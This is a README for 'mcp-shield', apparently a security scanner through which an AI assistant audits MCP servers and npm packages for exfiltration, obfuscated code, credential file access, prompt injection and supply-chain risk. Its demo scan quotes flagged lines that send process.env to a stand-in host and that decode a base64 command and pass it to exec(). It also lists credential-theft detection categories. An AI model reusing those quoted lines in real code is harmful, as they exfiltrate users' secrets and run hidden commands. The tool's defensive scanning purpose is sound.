mcp-shield
A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.
The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.
What it detects
| Category | Examples |
|---|---|
| Exfiltration | process.env sent over network, SSH key access, AWS credential reads |
| Code execution | eval(), new Function(), child_process.exec(), dynamic require() |
| Obfuscation | Base64 runtime decoding, hex-encoded payloads, char-code arrays |
| Sensitive file access | .env, id_rsa, browser cookies, ~/.gitconfig |
| Prompt injection | Hidden instructions, zero-width characters, role-switch attacks, jailbreak patterns |
| Supply chain | Package age, download count, maintainer count, CVEs in dependencies |
Demo
You: Scan the npm package "some-sketchy-mcp-server" before I install it
Claude (using scan_package):
## mcp-shield scan: some-sketchy-mcp-server
Verdict: DANGEROUS | Findings: 2 critical, 1 high
### Code Findings
#### index.js
- [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })
- [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
const cmd = Buffer.from("cm0gLXJm...", "base64").toString()
- [HIGH] [EXEC004] child_process exec/spawn — shell command execution (line 13)
exec(cmd)
### Supply Chain
| Published | 2 days ago |
| Downloads/wk | 3 |
| Trust Score | 15/100 — RISKY |
Flags:
- Package published less than 7 days ago
- Very low weekly downloads (<100)
Tools
| Tool | What it does |
|---|---|
scan_package | Download an npm MCP package and scan it for malicious patterns |
scan_directory | Scan a local MCP server directory (cloned from GitHub, etc.) |
check_prompt_injection | Check tool descriptions or responses for hidden injections |
audit_supply_chain | Get trust score, CVEs, maintainer count, and age for any npm package |
Installation
Option 1 — npx (no install)
claude mcp add mcp-shield -- npx mcp-shield
Option 2 — global install
npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield
Option 3 — manual config
Add to ~/.claude/claude_mcp_config.json:
{
"mcpServers": {
"mcp-shield": {
"command": "npx",
"args": ["mcp-shield"]
}
}
}
Usage examples
"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"
How it works
Static analysis — scans JavaScript/TypeScript source files with a library of regex patterns covering 20+ attack signatures across 5 categories.
Supply chain audit — queries the npm registry for package metadata, then runs npm audit to surface known CVEs in the dependency tree.
Prompt injection detection — checks tool descriptions and responses for zero-width characters, instruction overrides, role-switch attacks, and other LLM-targeting techniques.
--ignore-scripts installation — when scanning npm packages, installs with --ignore-scripts so no malicious postinstall hooks run during analysis.
Contributing
PRs welcome. Detection patterns live in src/patterns.ts — adding new signatures is a single object.
git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev
License
MIT